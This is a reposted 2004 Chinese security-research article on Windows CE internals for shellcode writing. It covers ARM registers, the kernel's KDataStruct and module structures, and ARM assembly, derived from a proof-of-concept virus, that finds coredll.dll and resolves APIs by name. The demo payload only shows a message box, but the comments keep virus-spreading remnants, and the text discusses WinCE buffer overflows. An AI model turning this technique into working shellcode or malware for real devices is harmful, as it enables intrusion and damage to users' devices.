摘抄---Windows CE初探


创建时间:2004-11-05 更新时间:2004-12-06
文章属性:原创
文章提交:san (san_at_xfocus.org)

整理:san
创建:2004.10.17
更新:2004.11.09

--[ 1. ARM简介

从Platform Builder来看,Windows CE支持相当多CPU,但现在市场上实际销售的PDA几乎全部采用ARM芯片。ARM是一个RISC构架的32位微处理器,它一次有16个可见的寄存器:r0-r15。其中r0-r7是通用寄存器并可以做任何目的;r8-r12也是通用寄存器,但是在切换到FIQ模式的时候,使用它们的影子(shadow)寄存器;最后这三个是特殊寄存器:

   r13 (sp)     -  堆栈指针
   r14 (lr)     -  链接寄存器
   r15 (pc/psr) -  程序计数器/状态寄存器

IDAPro和调试器里都是用别名表示。和其它RISC指令类似,ARM指令主要有分支(branch)指令、载入和存储指令和其它指令等,除了载入和存储指令,其它指令都是不能直接操作内存的,而且载入和存储指令操作的是4字节类型,那么内存地址必须要求4字节对齐,这也是RISC指令和CISC指令差异比较大的地方,在操作字符串的时候相对就比较麻烦。ARM指令一个很有趣的地方就是可以直接修改访问pc寄存器,这样如果写shellcode的话就不必象SPARC或PowerPC一样需要多条指令来定位自身。

另外Windows CE默认使用的字节序是little-endian。

--[ 2. Windows CE核心结构

Windows CE是一个32位的操作系统,所以其虚拟内存的大小是4GB(2的32次方)。Windows CE把这4GB虚拟内存空间分为低地址2GB和高地址2GB。应用程序使用的地址空间是低地址2GB,高地址2GB专供Windows CE内核使用。在Windows CE 3.0源码的PRIVATE/WINCEOS/COREOS/NK/INC/nkarm.h头文件里有一些有趣的信息:

/* High memory layout
*
* This structure is mapped in at the end of the 4GB virtual
* address space.
*
*  0xFFFD0000 - first level page table (uncached) (2nd half is r/o)
*  0xFFFD4000 - disabled for protection
*  0xFFFE0000 - second level page tables (uncached)
*  0xFFFE4000 - disabled for protection
*  0xFFFF0000 - exception vectors
*  0xFFFF0400 - not used (r/o)
*  0xFFFF1000 - disabled for protection
*  0xFFFF2000 - r/o (physical overlaps with vectors)
*  0xFFFF2400 - Interrupt stack (1k)
*  0xFFFF2800 - r/o (physical overlaps with Abort stack & FIQ stack)
*  0xFFFF3000 - disabled for protection
*  0xFFFF4000 - r/o (physical memory overlaps with vectors & intr. stack & FIQ stack)
*  0xFFFF4900 - Abort stack (2k - 256 bytes)
*  0xFFFF5000 - disabled for protection
*  0xFFFF6000 - r/o (physical memory overlaps with vectors & intr. stack)
*  0xFFFF6800 - FIQ stack (256 bytes)
*  0xFFFF6900 - r/o (physical memory overlaps with Abort stack)
*  0xFFFF7000 - disabled
*  0xFFFFC000 - kernel stack
*  0xFFFFC800 - KDataStruct
*  0xFFFFCC00 - disabled for protection (2nd level page table for 0xFFF00000)
*/

typedef struct ARM_HIGH {
    ulong    firstPT[4096];        // 0xFFFD0000: 1st level page table
    PAGETBL    aPT[16];            // 0xFFFD4000: 2nd level page tables
    char    reserved2[0x20000-0x4000-16*sizeof(PAGETBL)];

    char    exVectors[0x400];    // 0xFFFF0000: exception vectors
    char    reserved3[0x2400-0x400];

    char    intrStack[0x400];    // 0xFFFF2400: interrupt stack
    char    reserved4[0x4900-0x2800];

    char    abortStack[0x700];    // 0xFFFF4900: abort stack
    char    reserved5[0x6800-0x5000];

    char    fiqStack[0x100];    // 0xFFFF6800: FIQ stack
    char    reserved6[0xC000-0x6900];

    char    kStack[0x800];        // 0xFFFFC000: kernel stack
    struct KDataStruct kdata;    // 0xFFFFC800: kernel data page
} ARM_HIGH;

其中KDataStruct的结构非常重要而且有意思,有些类似Win32下的PEB结构,定义了系统各种重要的信息:

struct KDataStruct {
    LPDWORD lpvTls;         /* 0x000 Current thread local storage pointer */
    HANDLE  ahSys[NUM_SYS_HANDLES]; /* 0x004 If this moves, change kapi.h */
    // NUM_SYS_HANDLES == 32 : PUBLIC/COMMON/SDK/INC/kfuncs.h
        0x004 SH_WIN32
        0x008 SH_CURTHREAD
        0x00c SH_CURPROC
        0x010 SH_KWIN32
        0x044 SH_GDI
        0x048 SH_WMGR
        0x04c SH_WNET
        0x050 SH_COMM
        0x054 SH_FILESYS_APIS
        0x058 SH_SHELL
        0x05c SH_DEVMGR_APIS
        0x060 SH_TAPI
        0x064 SH_PATCHER
        0x06c SH_SERVICES

    char    bResched;       /* 0x084 reschedule flag */
    char    cNest;          /* 0x085 kernel exception nesting */
    char    bPowerOff;      /* 0x086 TRUE during "power off" processing */
    char    bProfileOn;     /* 0x087 TRUE if profiling enabled */
    ulong   unused;         /* 0x088 unused */
    ulong   rsvd2;          /* 0x08c was DiffMSec */
    PPROCESS pCurPrc;       /* 0x090 ptr to current PROCESS struct */
    PTHREAD pCurThd;        /* 0x094 ptr to current THREAD struct */
    DWORD   dwKCRes;        /* 0x098  */
    ulong   handleBase;     /* 0x09c handle table base address */
    PSECTION aSections[64]; /* 0x0a0 section table for virutal memory */
    LPEVENT alpeIntrEvents[SYSINTR_MAX_DEVICES];/* 0x1a0 */
    LPVOID  alpvIntrData[SYSINTR_MAX_DEVICES];  /* 0x220 */
    ulong   pAPIReturn;     /* 0x2a0 direct API return address for kernel mode */
    uchar   *pMap;          /* 0x2a4 ptr to MemoryMap array */
    DWORD   dwInDebugger;   /* 0x2a8 !0 when in debugger */
    PTHREAD pCurFPUOwner;   /* 0x2ac current FPU owner */
    PPROCESS pCpuASIDPrc;   /* 0x2b0 current ASID proc */
    long    nMemForPT;      /* 0x2b4 - Memory used for PageTables */

    long    alPad[18];      /* 0x2b8 - padding */
    DWORD   aInfo[32];      /* 0x300 - misc. kernel info */
    // PUBLIC/COMMON/OAK/INC/pkfuncs.h
        0x300  KINX_PROCARRAY     address of process array
        0x304  KINX_PAGESIZE      system page size
        0x308  KINX_PFN_SHIFT     shift for page # in PTE
        0x30c  KINX_PFN_MASK      mask for page # in PTE
        0x310  KINX_PAGEFREE      # of free physical pages
        0x314  KINX_SYSPAGES      # of pages used by kernel
        0x318  KINX_KHEAP         ptr to kernel heap array
        0x31c  KINX_SECTIONS      ptr to SectionTable array
        0x320  KINX_MEMINFO       ptr to system MemoryInfo struct
        0x324  KINX_MODULES       ptr to module list
        0x328  KINX_DLL_LOW       lower bound of DLL shared space
        0x32c  KINX_NUMPAGES      total # of RAM pages
        0x330  KINX_PTOC          ptr to ROM table of contents
        0x334  KINX_KDATA_ADDR    kernel mode version of KData
        0x338  KINX_GWESHEAPINFO  Current amount of gwes heap in use
        0x33c  KINX_TIMEZONEBIAS  Fast timezone bias info
        0x340  KINX_PENDEVENTS    bit mask for pending interrupt events
        0x344  KINX_KERNRESERVE   number of kernel reserved pages
        0x348  KINX_API_MASK      bit mask for registered api sets
        0x34c  KINX_NLS_CP        hiword OEM code page, loword ANSI code page
        0x350  KINX_NLS_SYSLOC    Default System locale
        0x354  KINX_NLS_USERLOC   Default User locale
        0x358  KINX_HEAP_WASTE    Kernel heap wasted space
        0x35c  KINX_DEBUGGER      For use by debugger for protocol communication
        0x360  KINX_APISETS       APIset pointers
        0x364  KINX_MINPAGEFREE   water mark of the minimum number of free pages
        0x368  KINX_CELOGSTATUS   CeLog status flags
        0x36c  KINX_NKSECTION     Address of NKSection
        0x370  KINX_PWR_EVTS      Events to be set after power on
        0x37c  KINX_NKSIG         last entry of KINFO -- signature when NK is ready

        /* 0x380 - interlocked api code */
        /* 0x400 - end */
}

Win32下可以通过PEB结构定位kernel32.dll的基址,然后通过PE文件结构查找Windows API。在Windows CE下,coredll.dll的作用相当于Win32的kernel32.dll,由于KDataStruct结构开始于0xFFFFC800,偏移0x324的aInfo[KINX_MODULES]是一个指向模块链表的指针,通过这个链表能否找到coredll.dll模块呢?让我们来看一下模块的结构:

// PRIVATE/WINCEOS/COREOS/NK/INC/kernel.h
typedef struct Module {
    LPVOID      lpSelf;                 /* 0x00 Self pointer for validation */
    PMODULE     pMod;                   /* 0x04 Next module in chain */
    LPWSTR      lpszModName;            /* 0x08 Module name */
    DWORD       inuse;                  /* 0x0c Bit vector of use */
    DWORD       calledfunc;             /* 0x10 Called entry but not exit */
    WORD        refcnt[MAX_PROCESSES];  /* 0x14 Reference count per process*/
    LPVOID      BasePtr;                /* 0x54 Base pointer of dll load (not 0 based) */
    DWORD       DbgFlags;               /* 0x58 Debug flags */
    LPDBGPARAM  ZonePtr;                /* 0x5c Debug zone pointer */
    ulong       startip;                /* 0x60 0 based entrypoint */
    openexe_t   oe;                     /* 0x64 Pointer to executable file handle */
        typedef struct openexe_t {
             union {
                  int hppfs;           // ppfs handle
                  HANDLE hf;           // object store handle
                  TOCentry *tocptr;    // rom entry pointer
             };                        // 0x64
             BYTE filetype;           // 0x68
             BYTE bIsOID;             // 0x69
             WORD pagemode;           // 0x6a
             union {
                  DWORD offset;
                  DWORD dwExtRomAttrib;
             };                       // 0x6c
             union {
                  Name *lpName;
                  CEOID ceOid;
             };                       // 0x70
        } openexe_t;
    e32_lite    e32;                    /* 0x74 E32 header */
    // PUBLIC/COMMON/OAK/INC/pehdr.h
      typedef struct e32_lite {           /* PE 32-bit .EXE header               */
          unsigned short  e32_objcnt;     /* 0x74 Number of memory objects            */
          BYTE            e32_cevermajor; /* 0x76 version of CE built for             */
          BYTE            e32_ceverminor; /* 0x77 version of CE built for             */
          unsigned long   e32_stackmax;   /* 0x78 Maximum stack size                  */
          unsigned long   e32_vbase;      /* 0x7c Virtual base address of module      */
          unsigned long   e32_vsize;      /* 0x80 Virtual size of the entire image    */
          unsigned long e32_sect14rva;    /* 0x84 section 14 rva */
          unsigned long e32_sect14size;   /* 0x88 section 14 size */
          struct info e32_unit[LITE_EXTRA]; /* 0x8c  Array of extra info units     */
            struct info {                       /* Extra information header block      */
                unsigned long   rva;            /* Virtual relative address of info    */
                unsigned long   size;           /* Size of information block           */
            }
            0x8c   EXP Export table position    
            0x94   IMP Import table position    
            0x9c   RES Resource table position  
            0xa4   EXC Exception table position
            0xac   SEC Security table position  
            0xb4   FIX Fixup table position    
      } e32_lite, *LPe32_list;

    o32_lite    *o32_ptr;               /* 0xbc  O32 chain ptr */
    DWORD       dwNoNotify;             /* 0xc0  1 bit per process, set if notifications disabled */
    WORD        wFlags;                 // 0xc4
    BYTE        bTrustLevel;            // 0xc6
    BYTE        bPadding;               // 0xc7
    PMODULE     pmodResource;           /* 0xc8 module that contains the resources */
    DWORD       rwLow;                  /* 0xcc base address of RW section for ROM DLL */
    DWORD       rwHigh;                 /* 0xd0 high address RW section for ROM DLL */
    PGPOOL_Q    pgqueue;                /* 0xcc list of the page owned by the module */
      typedef struct _PGPOOL_Q {
          WORD    idxHead;            /* head of the queue */
          WORD    idxTail;            /* tail of the queue */
      } PGPOOL_Q, *PPGPOOL_Q;
} Module;

模块结构偏移0x08是指向模块名字的指针,偏移0x04指向链表里的下一个模块,通过这个模块名字可以在模块链表里找到我们需要的coredll.dll。而偏移0x7c就是该模块的虚拟基址,偏移0x8c是导出表的相对地址。Windows CE使用的PE结构和Win32是一样,那么有写Win32 shellcode经验的朋友自然会想着从coredll.dll的基址按照PE结构顺藤摸瓜来搜索函数地址。但是我们用EVC实际调试时发现coredll.dll找到的基址是0x01F60000,而这个地址的内存是没有分配的(调试器里都是问号),可以访问的地址是从0x01F61000,这和IDAPro反汇编coredll.dll(从rom文件中dump出来,wince下系统在使用的文件连读的权限都没有)出的起始地址一样。Windows CE可能为了节省内存,没有加载文件最开始的0x1000字节头结构。不过没有关系,因为我们已经从模块结构得到该模块的导出表相对地址,直接从导出表就可以查找函数地址了。

--[ 3. Windows CE演示实例

Ratter/29A的WinCE4.Dust代码可能是为了减少体积,他给出的方法是把要搜索函数的序数索引硬编码到程序里,然后根据导出表的地址定位导出地址表,再用硬编码的序数索引来算出函数地址。这种方法让人感觉挺别扭的,虽然代码减少了,可是通用性可能会打折扣,象编写Win32 shellcode一样通过函数名来搜索的方法可能更通用一些。下面的代码就是实现这样的功能。

; armasm test.asm
; link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj  
  
  CODE32

   EXPORT  WinMainCRTStartup

   AREA .text, CODE, ARM

test_start

; r11 - base pointer
test_code_start   PROC
   stmdb   sp!, {r0 - r12, lr, pc}

   bl    get_export_section
   adr   r2, mb
   bl    lookup_imports

   mov    r0, #0
   adr    r1, text
   adr    r2, text
   mov    r3, #0             ; MB_OK
   mov    lr, pc
   mov    pc, r9             ; MessageBoxW

   bl    get_export_section
   adr   r2, tp
   bl    lookup_imports

   mov   r0, #-1
   mov   r1, #0
   mov   lr, pc
   mov   pc, r9
  
   ; basic wide string compare
wstrcmp   PROC
wstrcmp_iterate
   ldrh    r2, [r0], #2
   ldrh    r3, [r1], #2

   cmp     r2, #0
   cmpeq   r3, #0
   moveq   pc, lr

   cmp    r2, r3
   beq    wstrcmp_iterate

   mov    pc, lr
   ENDP

; output:
;  r0 - coredll base addr
;  r1 - export section addr
get_export_section   PROC
   stmdb   sp!, {r4 - r9, lr}

   ldr    r4, =0xffffc800   ; KDataStruct
   ldr    r5, =0x324        ; aInfo[KINX_MODULES]

   add    r5, r4, r5
   ldr    r5, [r5]

   ; r5 now points to first module

   mov    r6, r5
   mov    r7, #0

iterate
   ldr    r0, [r6, #8]     ; get dll name
   adr    r1, coredll
   bl    wstrcmp        ; compare with coredll.dll

   ldreq   r7, [r6, #0x7c]    ; get dll base
   ldreq   r8, [r6, #0x8c]    ; get export section rva

   add    r9, r7, r8
   beq    got_coredllbase    ; is it what we're looking for?

   ldr    r6, [r6, #4]
   cmp    r6, #0
   cmpne   r6, r5
   bne    iterate        ; nope, go on

got_coredllbase
   mov    r0, r7
   add    r1, r8, r7      ; yep, we've got imagebase
                   ; and export section pointer

   ldmia   sp!, {r4 - r9, pc}
   ENDP

coredll   DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
      DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0

   ; basic string compare
bstrcmp   PROC
bstrcmp_iterate
   ldrb    r9,  [r7], #1
   ldrb    r10, [r8], #1

   cmp     r9,  #0
   cmpeq   r10, #0
   moveq   pc, lr

   cmp    r9, r10
   beq    bstrcmp_iterate

   mov    pc, lr
   ENDP

; r0 - coredll base addr
; r1 - export section addr
; r2 - function name addr
lookup_imports   PROC
   stmdb   sp!, {r4 - r6, lr}

   ldr    r4, [r1, #0x20]    ; AddressOfNames
   add    r4, r4, r0

   mov    r6, #0             ; counter
lookup_imports_iterate
   ldr    r7, [r4], #4
   add    r7, r7, r0         ; function name ponter
   mov    r8, r2             ; find function name

   bl     bstrcmp

   addne  r6, r6, #1
   bne    lookup_imports_iterate

   ldr    r5, [r1, #0x24]    ; AddressOfNameOrdinals
   add    r5, r5, r0
   add    r6, r6, r6
   ldrh   r9, [r5, r6]       ; Ordinals
   ldr    r5, [r1, #0x1c]    ; AddressOfFunctions
   add    r5, r5, r0
   ldr    r9, [r5, r9, LSL #2] ; function address rva
   add    r9, r9, r0         ; function address

   ldmia    sp!, {r4 - r6, pc}
   ENDP

mb   DCB     "MessageBoxW", 0x0
tp   DCB     "TerminateProcess", 0x0,0x0,0x0,0x0
     ALIGN   4

   ; Dear User, am I allowed to spread?

text DCB    "H", 0x0, "e", 0x0, "l", 0x0, "l", 0x0, "o", 0x0, " ", 0x0
     DCB    "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "!", 0x0
     DCB    0x0, 0x0, 0x0, 0x0
     ALIGN    4

   LTORG
test_end

   ; the code after test_end doesn't get copied to victims

WinMainCRTStartup PROC
   b     test_code_start
   ENDP

   ; first generation entry point
host_entry
   mvn    r0, #0
   mov    pc, lr
   END

代码还是比较傻,如果能把Win32 shellcode的hash引入可能代码会更好看一些。Ratter/29A在WinCE4.Dust虽然还只是个概念病毒,但是病毒的基本技术它都已经具备了,所以不难相信不久就会有更多的Windows CE病毒。如果作者不怀好意,用KernelIoControl把系统引导入BootLoader模式,那么对于很多非专业的用户来说无疑象遭遇CIH病毒一般可恶。

通过上面的代码不难相信很容易就能写出Windows CE下的shellcode,Seth Fogie在最近的defcon等会议上提到Windows CE下缓冲区溢出,随着PDA网络化程度越来越高,以及和手机的结合,相信Windows CE下的缓冲区溢出不久就会流行起来。不过Windows CE下缓冲区溢出可能会遭遇几个问题:

1. Windows CE是一个Unicode环境,它可能会把用户输入的数据转成Unicode格式。
2. 要在Windows CE上写解码shellcode可能会有些问题,首先arm没有xor指令,另外还有可能遭遇指令缓存的问题。不是很清楚Windows CE对软中断指令swi怎么支持。
3. 不同厂商不同版本的PDA可能存在这样那样的差异,导致攻击程序无法通用。

不过Windows CE现在已经发展的很成熟了,可以进来看看。

--[ 4. 参考资料:

1. ARM ASSEMBLER
   http://www.heyrick.co.uk/assembler/index.html
2. misc notes on the xda and windows ce
   http://www.xs4all.nl/~itsme/projects/xda/
3. Windows CE 3.0 Source Code
   http://msdn.microsoft.com/embedded/prevver/ce3/download/source/default.aspx
4. Details Emerge on the First Windows Mobile Virus
   http://www.informit.com/articles/article.asp?p=337071
posted @ 2004-12-13 16:20 nasiry 阅读(...) 评论(...) 编辑 收藏